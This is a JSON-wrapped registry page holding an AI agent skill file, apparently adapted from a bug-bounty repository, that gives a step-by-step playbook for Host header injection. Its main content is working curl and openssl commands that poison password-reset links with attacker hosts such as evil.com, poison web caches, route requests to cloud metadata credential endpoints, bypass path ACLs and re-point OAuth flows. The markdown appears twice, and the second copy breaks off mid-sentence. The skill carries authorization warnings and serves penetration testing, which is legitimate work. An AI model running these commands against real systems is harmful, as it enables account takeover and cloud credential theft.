[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P5XHHY0MPW9RHREQNYWJXQ":3,"skill-same:01M6P5XHHY0MPW9RHREQNYWJXQ":69},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":21,"commitSha":50,"skillDirectory":51,"forksCount":13,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6P5XHHY0MPW9RHREQNYWJXQ","hunt-host-header",null,"Hunt Host Header Injection","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-host-header\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt host header","hunt","host","main","for","relevant","helper","offensive","scripts","scope","commands","testing","community","only","injection","Tools","license","testing tools","research","security","2026-11-10 10:12:30",false,"---\nname: hunt-host-header\ndescription: Hunt Host Header Injection\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: portswigger_research, hackerone_public\nreport_count: 16\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-HOST-HEADER — Host Header Injection\n\n## Grounding \u002F Provenance\n\nThis skill is built from the public Host-header attack literature, not invented payloads.\nCite the *technique source* in your report, never a fabricated ID:\n\n- **Password-reset poisoning class** — the canonical write-up is Skelet's\u002FDetectify-era\n  \"Practical HTTP Host header attacks\" (the Django `request.get_host()` → password-reset-link\n  case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style\n  allowlist. Cite the framework + the reflected-Host behaviour you actually observed.\n- **Web cache poisoning via unkeyed Host \u002F X-Forwarded-Host** — PortSwigger Research,\n  James Kettle, \"Practical Web Cache Poisoning\" (2018) and \"Web Cache Entanglement\" (2020).\n  These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.\n- **Routing-based SSRF** — PortSwigger Research, \"Cracking the lens\" \u002F routing-based SSRF\n  (Host header steers the front-end's upstream selection).\n\nWhen you write the report, name the exact behaviour you reproduced (reflected header, cache HIT\non a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not\nverified — a missing citation is always better than a wrong one.\n\n---\n\n## Crown Jewel Targets\n\nHost header injection that reaches password reset links = Critical (ATO for any user).\n\n**Highest-value chains:**\n- **Password reset poisoning → ATO** — server builds the reset link from the request Host;\n  attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →\n  token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*\n  their own reset leaks the token to evil.com.\n- **Web cache poisoning via unkeyed Host** — a CDN\u002Freverse proxy caches a response that reflects\n  an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned\n  entry served to every later visitor on that cache key → mass XSS\u002Fredirect\u002FCSP bypass.\n- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;\n  `Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target\n  → cloud metadata \u002F internal admin panels.\n- **Path-override SSRF \u002F ACL bypass** — IIS\u002FASP.NET\u002FSpring honour `X-Original-URL` \u002F\n  `X-Rewrite-URL` to override the routed path → reach `\u002Fadmin` or internal endpoints the edge\n  ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)\n- **OAuth\u002FOIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` \u002F discovery doc →\n  auth-code or token theft → ATO.\n\n---\n\n## Attack Surface Signals\n\n```\nAny password reset \u002F forgot-password \u002F email-verification \u002F invite endpoint\nAny app behind CDN\u002Freverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)\nOAuth\u002FOIDC authorization + \u002F.well-known\u002Fopenid-configuration endpoints\nAbsolute URLs constructed from request Host (set-password links, share links, webhooks)\nEmail-sending endpoints (transactional mail, notifications)\nReverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)\n```\n\n**Dangerous header candidates (unkeyed \u002F trusted inputs):**\n```\nHost                 X-Forwarded-Host      X-Host\nX-Forwarded-Server   X-HTTP-Host-Override  Forwarded\nX-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)\n```\n\n---\n\n## Step-by-Step Hunting Methodology\n\n> Always test against **your own** registered test account. Never request another user's reset.\n\n### Phase 1 — Password Reset Poisoning\n\n```bash\n# 1a. Override Host directly\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"your-test-account@target.com\"}'\n\n# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET\" \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=your-test-account@target.com\"\n\n# 1c. Host + X-Forwarded-Host combo, and X-Host\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET\" -H \"X-Host: evil.com\" \\\n  -d \"email=your-test-account@target.com\"\n\n# 1d. Dual-Host \u002F Host override smuggling: some stacks read the SECOND Host\nprintf 'POST \u002Fforgot-password HTTP\u002F1.1\\r\\nHost: %s\\r\\nHost: evil.com\\r\\nContent-Type: application\u002Fx-www-form-urlencoded\\r\\nContent-Length: 33\\r\\nConnection: close\\r\\n\\r\\nemail=your-test-account@target.com' \"$TARGET\" \\\n  | openssl s_client -quiet -connect $TARGET:443 2>\u002Fdev\u002Fnull\n\n# 1e. Absolute-URL injection: keep real Host, append attacker host so the\n#     reset link becomes https:\u002F\u002FTARGET.evil.com\u002F... or routes the token out\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET.evil.com\" -d \"email=your-test-account@target.com\"\n\n# 1f. Trailing-port \u002F userinfo confusion (parsers that split on : or @)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET:1@evil.com\" -d \"email=your-test-account@target.com\"\n```\n\n**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must\nappear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator\ndomain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so\nthat when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and\nhave proof — see Validation.\n\n### Phase 2 — Web Cache Poisoning via Host \u002F X-Forwarded-Host\n\nMechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into\nthe response body* (an absolute URL, script `src`, `\u003Clink href>`, `\u003Cbase href>`, redirect\n`Location`, or canonical\u002Fog:url) **and** that response must be **cached on a key you do not\ncontrol**. No Collaborator callback is expected from the cache test itself — only later, if a\nvictim's browser loads the poisoned absolute URL.\n\n```bash\n# 2a. Is the host reflected into the body?\ncurl -s https:\u002F\u002F$TARGET\u002F \\\n  -H \"Host: $TARGET\" -H \"X-Forwarded-Host: canary-$RANDOM.example\" \\\n  | grep -i \"canary\"\n\n# 2b. Is the response cacheable, and what is the cache key?\ncurl -sI \"https:\u002F\u002F$TARGET\u002F?cb=$RANDOM\" \\\n  | grep -iE \"cache-control|cf-cache-status|x-cache|age|via|surrogate|vary\"\n#   Look for: X-Cache\u002FCF-Cache-Status: HIT, nonzero Age, Via: varnish\u002Ffastly\u002Fcloudfront.\n#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.\n\n# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.\nURL=\"https:\u002F\u002F$TARGET\u002F?cb=poison$RANDOM\"\ncurl -s \"$URL\" -H \"X-Forwarded-Host: evilcdn.example\" >\u002Fdev\u002Fnull   # poison\ncurl -s \"$URL\" | grep -i \"evilcdn.example\"                        # clean victim view → reflected = POISONED\n```\n\n**False-positive killers (mandatory):**\n- A reflection that only ever appears for *your* request (because the header is **keyed**, e.g. in\n  `Vary`, or the CDN includes Host in the key) is **not** poisoning — confirm 2c returns the\n  payload on a request that *omits* the header.\n- `Age: 0` + `MISS` every time → no shared cache → no mass impact. Demote to self-only \u002F Low.\n- Confirm blast radius from a **second machine \u002F fresh egress IP \u002F incognito** before claiming\n  \"mass\". Cache scope is often per-edge \u002F per-cookie \u002F per-geo.\n\n### Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)\n\nThese operate at different layers. Test them separately; they do **not** compose into one request.\n\n**(3A) Routing-based SSRF — the Host header selects the upstream.** The path goes on the\n**request line**, exactly as a normal request, because the metadata service \u002F internal host serves\nplain HTTP and only sees the request line + headers you forward. `X-Original-URL` is irrelevant\nhere — the EC2 IMDS ignores it.\n\n```bash\n# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.\ncurl -s \"https:\u002F\u002F$TARGET\u002Flatest\u002Fmeta-data\u002F\" -H \"Host: 169.254.169.254\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" -H \"Host: 169.254.169.254\"\n\n# GCP \u002F Azure equivalents (still routing via Host):\ncurl -s \"https:\u002F\u002F$TARGET\u002FcomputeMetadata\u002Fv1\u002F\" \\\n  -H \"Host: metadata.google.internal\" -H \"Metadata-Flavor: Google\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fmetadata\u002Finstance?api-version=2021-02-01\" \\\n  -H \"Host: 169.254.169.254\" -H \"Metadata: true\"\n\n# Internal hostname \u002F port routing:\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: localhost:6379\"   # Redis behind the proxy\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: internal-admin.svc.cluster.local\"\n\n# Blind \u002F no reflection? Point the Host at a Collaborator subdomain and watch for the\n# proxy's outbound DNS\u002FHTTP lookup — that proves the front-end resolves the attacker host.\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: $COLLAB\"\n```\n\n**(3B) Path-override SSRF \u002F ACL bypass — `X-Original-URL` \u002F `X-Rewrite-URL`.** This is an\nIIS\u002FASP.NET\u002FSpring-Cloud-Gateway feature where the app overrides the *routed path*. The real Host\nstays put; you are bypassing an **edge path ACL**, not steering an upstream. Keep the real Host.\n\n```bash\n# Reach an internal\u002Fblocked path the edge thought it denied. Real Host stays.\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: $TARGET\" -H \"X-Original-URL: \u002Fadmin\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: $TARGET\" -H \"X-Rewrite-URL: \u002Finternal\u002Fmetrics\"\n# Diff against a direct GET \u002Fadmin (which the edge blocks) — a different status\u002Fbody proves override.\n```\n\n> The old probe `Host: 169.254.169.254` + `X-Original-URL: \u002Flatest\u002Fmeta-data\u002F` was wrong: those\n> two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.\n\n### Phase 4 — OAuth \u002F OIDC \u002F SAML Poisoning\n\n```bash\n# Does the authorization endpoint build redirect_uri \u002F display URL from Host?\ncurl -s \"https:\u002F\u002F$TARGET\u002Foauth\u002Fauthorize?response_type=code&client_id=app&redirect_uri=https:\u002F\u002F$TARGET\u002Fcb\" \\\n  -H \"Host: evil.com\" | grep -iE \"redirect|location|action=\"\n\n# OIDC discovery: if issuer\u002Fendpoints reflect Host, the whole flow can be re-pointed.\ncurl -s \"https:\u002F\u002F$TARGET\u002F.well-known\u002Fopenid-configuration\" -H \"X-Forwarded-Host: evil.com\" \\\n  | grep -iE \"issuer|authorization_endpoint|token_endpoint|jwks_uri\"\n```\n\n**Confirm:** the auth code \u002F token must actually be delivered to the attacker host (capture on\nCollaborator) — a reflected string alone is not ATO.\n\n### Phase 5 — Header Fuzzing (Param Miner)\n\nBurp **Param Miner → Guess headers** is faster and finds unkeyed\u002Fcache-affecting headers the list\nbelow misses. Manual sweep:\n\n```bash\nHOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \\\n  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)\nfor H in \"${HOST_HEADERS[@]}\"; do\n  echo \"=== $H ===\"\n  curl -s -I \"https:\u002F\u002F$TARGET\u002F\" -H \"$H: canary-$RANDOM.example\" \\\n    | grep -iE \"location|x-cache|cf-cache|age|set-cookie\"\ndone\n```\n\n---\n\n## Chain Table\n\n| Finding | Chain to | Impact |\n|---------|----------|--------|\n| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |\n| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS\u002Fredirect | High — mass cache poisoning |\n| Front-end routes by Host | `Host: 169.254.169.254` path-on-request-line → creds | High\u002FCritical — SSRF → cloud creds |\n| `X-Original-URL` overrides path | Reach `\u002Fadmin` blocked at edge | High — ACL bypass \u002F SSRF |\n| OAuth redirect_uri\u002Fissuer built from Host | Re-point flow → capture code\u002Ftoken on Collaborator | Critical — ATO via code theft |\n\n---\n\n## Validation (house discipline)\n\n✅ **Password reset:** the token URL in **your own test account's email** uses an\nattacker-controlled host. Strongest proof = inject a **Collaborator** host and show the inbound\nHTTP hit carrying the token when the link is clicked\u002Fpreviewed (OOB capture).\n✅ **Cache poison:** a request that **omits** the injected header (fresh egress IP \u002F incognito)\nstill returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or\n`MISS`\u002F`Age:0` only.\n✅ **Routing SSRF:** real response body from `169.254.169.254` \u002F internal host, **or** an OOB\nDNS\u002FHTTP hit on your Collaborator from the front-end (blind case).\n✅ **Path-override:** status\u002Fbody diff vs the edge-blocked direct request proves the override took.\n✅ **OAuth\u002FOIDC:** the auth code \u002F token is actually delivered to the attacker host (captured),\nnot merely reflected.\n\n**Always rule out false positives:**\n- Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check `Vary`, second IP).\n- A 200 echoing your Host string is not SSRF unless the *response content* came from the internal\n  target or your Collaborator fired.\n- Some mailers rewrite links to a fixed `SITE_URL` regardless of Host — reflected header in the\n  HTTP response does not guarantee a poisoned *email*; verify the email body.\n\n**Severity:**\n- Reset → ATO for any user: Critical\n- Routing SSRF → cloud metadata creds: Critical (if creds usable) \u002F High\n- Cache poisoning → mass XSS\u002Fredirect (shared key proven): High\n- Path-override → internal\u002Fadmin reach: High\n- Reflected only, uncacheable, not in email, no internal reach: Low \u002F informational\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-HOST-HEADER — Host Header Injection\n\n## Grounding \u002F Provenance\n\nThis skill is built from the public Host-header attack literature, not invented payloads.\nCite the *technique source* in your report, never a fabricated ID:\n\n- **Password-reset poisoning class** — the canonical write-up is Skelet's\u002FDetectify-era\n  \"Practical HTTP Host header attacks\" (the Django `request.get_host()` → password-reset-link\n  case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style\n  allowlist. Cite the framework + the reflected-Host behaviour you actually observed.\n- **Web cache poisoning via unkeyed Host \u002F X-Forwarded-Host** — PortSwigger Research,\n  James Kettle, \"Practical Web Cache Poisoning\" (2018) and \"Web Cache Entanglement\" (2020).\n  These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.\n- **Routing-based SSRF** — PortSwigger Research, \"Cracking the lens\" \u002F routing-based SSRF\n  (Host header steers the front-end's upstream selection).\n\nWhen you write the report, name the exact behaviour you reproduced (reflected header, cache HIT\non a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not\nverified — a missing citation is always better than a wrong one.\n\n---\n\n## Crown Jewel Targets\n\nHost header injection that reaches password reset links = Critical (ATO for any user).\n\n**Highest-value chains:**\n- **Password reset poisoning → ATO** — server builds the reset link from the request Host;\n  attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →\n  token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*\n  their own reset leaks the token to evil.com.\n- **Web cache poisoning via unkeyed Host** — a CDN\u002Freverse proxy caches a response that reflects\n  an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned\n  entry served to every later visitor on that cache key → mass XSS\u002Fredirect\u002FCSP bypass.\n- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;\n  `Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target\n  → cloud metadata \u002F internal admin panels.\n- **Path-override SSRF \u002F ACL bypass** — IIS\u002FASP.NET\u002FSpring honour `X-Original-URL` \u002F\n  `X-Rewrite-URL` to override the routed path → reach `\u002Fadmin` or internal endpoints the edge\n  ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)\n- **OAuth\u002FOIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` \u002F discovery doc →\n  auth-code or token theft → ATO.\n\n---\n\n## Attack Surface Signals\n\n```\nAny password reset \u002F forgot-password \u002F email-verification \u002F invite endpoint\nAny app behind CDN\u002Freverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)\nOAuth\u002FOIDC authorization + \u002F.well-known\u002Fopenid-configuration endpoints\nAbsolute URLs constructed from request Host (set-password links, share links, webhooks)\nEmail-sending endpoints (transactional mail, notifications)\nReverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)\n```\n\n**Dangerous header candidates (unkeyed \u002F trusted inputs):**\n```\nHost                 X-Forwarded-Host      X-Host\nX-Forwarded-Server   X-HTTP-Host-Override  Forwarded\nX-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)\n```\n\n---\n\n## Step-by-Step Hunting Methodology\n\n> Always test against **your own** registered test account. Never request another user's reset.\n\n### Phase 1 — Password Reset Poisoning\n\n```bash\n# 1a. Override Host directly\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"your-test-account@target.com\"}'\n\n# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET\" \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=your-test-account@target.com\"\n\n# 1c. Host + X-Forwarded-Host combo, and X-Host\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET\" -H \"X-Host: evil.com\" \\\n  -d \"email=your-test-account@target.com\"\n\n# 1d. Dual-Host \u002F Host override smuggling: some stacks read the SECOND Host\nprintf 'POST \u002Fforgot-password HTTP\u002F1.1\\r\\nHost: %s\\r\\nHost: evil.com\\r\\nContent-Type: application\u002Fx-www-form-urlencoded\\r\\nContent-Length: 33\\r\\nConnection: close\\r\\n\\r\\nemail=your-test-account@target.com' \"$TARGET\" \\\n  | openssl s_client -quiet -connect $TARGET:443 2>\u002Fdev\u002Fnull\n\n# 1e. Absolute-URL injection: keep real Host, append attacker host so the\n#     reset link becomes https:\u002F\u002FTARGET.evil.com\u002F... or routes the token out\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET.evil.com\" -d \"email=your-test-account@target.com\"\n\n# 1f. Trailing-port \u002F userinfo confusion (parsers that split on : or @)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fforgot-password \\\n  -H \"Host: $TARGET:1@evil.com\" -d \"email=your-test-account@target.com\"\n```\n\n**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must\nappear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator\ndomain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so\nthat when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and\nhave proof — see Validation.\n\n### Phase 2 — Web Cache Poisoning via Host \u002F X-Forwarded-Host\n\nMechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into\nthe response body* (an absolute URL, script `src`, `\u003Clink href>`, `\u003Cbase href>`, redirect\n`Location`, or canonical\u002Fog:url) **and** that response must be **cached on a key you do not\ncontrol**. No Collaborator callback is expected from the cache test itself — only later, if a\nvictim's browser loads the poisoned absolute URL.\n\n```bash\n# 2a. Is the host reflected into the body?\ncurl -s https:\u002F\u002F$TARGET\u002F \\\n  -H \"Host: $TARGET\" -H \"X-Forwarded-Host: canary-$RANDOM.example\" \\\n  | grep -i \"canary\"\n\n# 2b. Is the response cacheable, and what is the cache key?\ncurl -sI \"https:\u002F\u002F$TARGET\u002F?cb=$RANDOM\" \\\n  | grep -iE \"cache-control|cf-cache-status|x-cache|age|via|surrogate|vary\"\n#   Look for: X-Cache\u002FCF-Cache-Status: HIT, nonzero Age, Via: varnish\u002Ffastly\u002Fcloudfront.\n#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.\n\n# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.\nURL=\"https:\u002F\u002F$TARGET\u002F?cb=poison$RANDOM\"\ncurl -s \"$URL\" -H \"X-Forwarded-Host: evilcdn.example\" >\u002Fdev\u002Fnull   # poison\ncurl -s \"$URL\" | grep -i \"evilcdn.example\"                        # clean victim view → reflected = POISONED\n```\n\n**False-positive killers (mandatory):**\n- A reflection that only ever appears for *your* request (because the header is **keyed**, e.g. in\n  `Vary`, or the CDN includes Host in the key) is **not** poisoning — confirm 2c returns the\n  payload on a request that *omits* the header.\n- `Age: 0` + `MISS` every time → no shared cache → no mass impact. Demote to self-only \u002F Low.\n- Confirm blast radius from a **second machine \u002F fresh egress IP \u002F incognito** before claiming\n  \"mass\". Cache scope is often per-edge \u002F per-cookie \u002F per-geo.\n\n### Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)\n\nThese operate at different layers. Test them separately; they do **not** compose into one request.\n\n**(3A) Routing-based SSRF — the Host header selects the upstream.** The path goes on the\n**request line**, exactly as a normal request, because the metadata service \u002F internal host serves\nplain HTTP and only sees the request line + headers you forward. `X-Original-URL` is irrelevant\nhere — the EC2 IMDS ignores it.\n\n```bash\n# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.\ncurl -s \"https:\u002F\u002F$TARGET\u002Flatest\u002Fmeta-data\u002F\" -H \"Host: 169.254.169.254\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" -H \"Host: 169.254.169.254\"\n\n# GCP \u002F Azure equivalents (still routing via Host):\ncurl -s \"https:\u002F\u002F$TARGET\u002FcomputeMetadata\u002Fv1\u002F\" \\\n  -H \"Host: metadata.google.internal\" -H \"Metadata-Flavor: Google\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fmetadata\u002Finstance?api-version=2021-02-01\" \\\n  -H \"Host: 169.254.169.254\" -H \"Metadata: true\"\n\n# Internal hostname \u002F port routing:\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: localhost:6379\"   # Redis behind the proxy\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: internal-admin.svc.cluster.local\"\n\n# Blind \u002F no reflection? Point the Host at a Collaborator subdomain and watch for the\n# proxy's outbound DNS\u002FHTTP lookup — that proves the front-end resolves the attacker host.\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: $COLLAB\"\n```\n\n**(3B) Path-override SSRF \u002F ACL bypass — `X-Original-URL` \u002F `X-Rewrite-URL`.** This is an\nIIS\u002FASP.NET\u002FSpring-Cloud-Gateway feature where the app overrides the *routed path*. The real Host\nstays put; you are bypassing an **edge path ACL**, not steering an upstream. Keep the real Host.\n\n```bash\n# Reach an internal\u002Fblocked path the edge thought it denied. Real Host stays.\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: $TARGET\" -H \"X-Original-URL: \u002Fadmin\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"Host: $TARGET\" -H \"X-Rewrite-URL: \u002Finternal\u002Fmetrics\"\n# Diff against a direct GET \u002Fadmin (which the edge blocks) — a different status\u002Fbody proves override.\n```\n\n> The old probe `Host: 169.254.169.254` + `X-Original-URL: \u002Flatest\u002Fmeta-data\u002F` was wrong: those\n> two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.\n\n### Phase 4 — OAuth \u002F OIDC \u002F SAML Poisoning\n\n```bash\n# Does the authorization endpoint build redirect_uri \u002F display URL from Host?\ncurl -s \"https:\u002F\u002F$TARGET\u002Foauth\u002Fauthorize?response_type=code&client_id=app&redirect_uri=https:\u002F\u002F$TARGET\u002Fcb\" \\\n  -H \"Host: evil.com\" | grep -iE \"redirect|location|action=\"\n\n# OIDC discovery: if issuer\u002Fendpoints reflect Host, the whole flow can be re-pointed.\ncurl -s \"https:\u002F\u002F$TARGET\u002F.well-known\u002Fopenid-configuration\" -H \"X-Forwarded-Host: evil.com\" \\\n  | grep -iE \"issuer|authorization_endpoint|token_endpoint|jwks_uri\"\n```\n\n**Confirm:** the auth code \u002F token must actually be delivered to the attacker host (capture on\nCollaborator) — a reflected string alone is not ATO.\n\n### Phase 5 — Header Fuzzing (Param Miner)\n\nBurp **Param Miner → Guess headers** is faster and finds unkeyed\u002Fcache-affecting headers the list\nbelow misses. Manual sweep:\n\n```bash\nHOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \\\n  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)\nfor H in \"${HOST_HEADERS[@]}\"; do\n  echo \"=== $H ===\"\n  curl -s -I \"https:\u002F\u002F$TARGET\u002F\" -H \"$H: canary-$RANDOM.example\" \\\n    | grep -iE \"location|x-cache|cf-cache|age|set-cookie\"\ndone\n```\n\n---\n\n## Chain Table\n\n| Finding | Chain to | Impact |\n|---------|----------|--------|\n| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |\n| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS\u002Fredirect | High — mass cache poisoning |\n| Front-end routes by Host | `Host: 169.254.169.254` path-on-request-line → creds | High\u002FCritical — SSRF → cloud creds |\n| `X-Original-URL` overrides path | Reach `\u002Fadmin` blocked at edge | High — ACL bypass \u002F SSRF |\n| OAuth redirect_uri\u002Fissuer built from Host | Re-point flow → capture code\u002Ftoken on Collaborator | Critical — ATO via code theft |\n\n---\n\n## Validation (house discipline)\n\n✅ **Password reset:** the token URL in **your own test account's email** uses an\nattacker-controlled host. Strongest 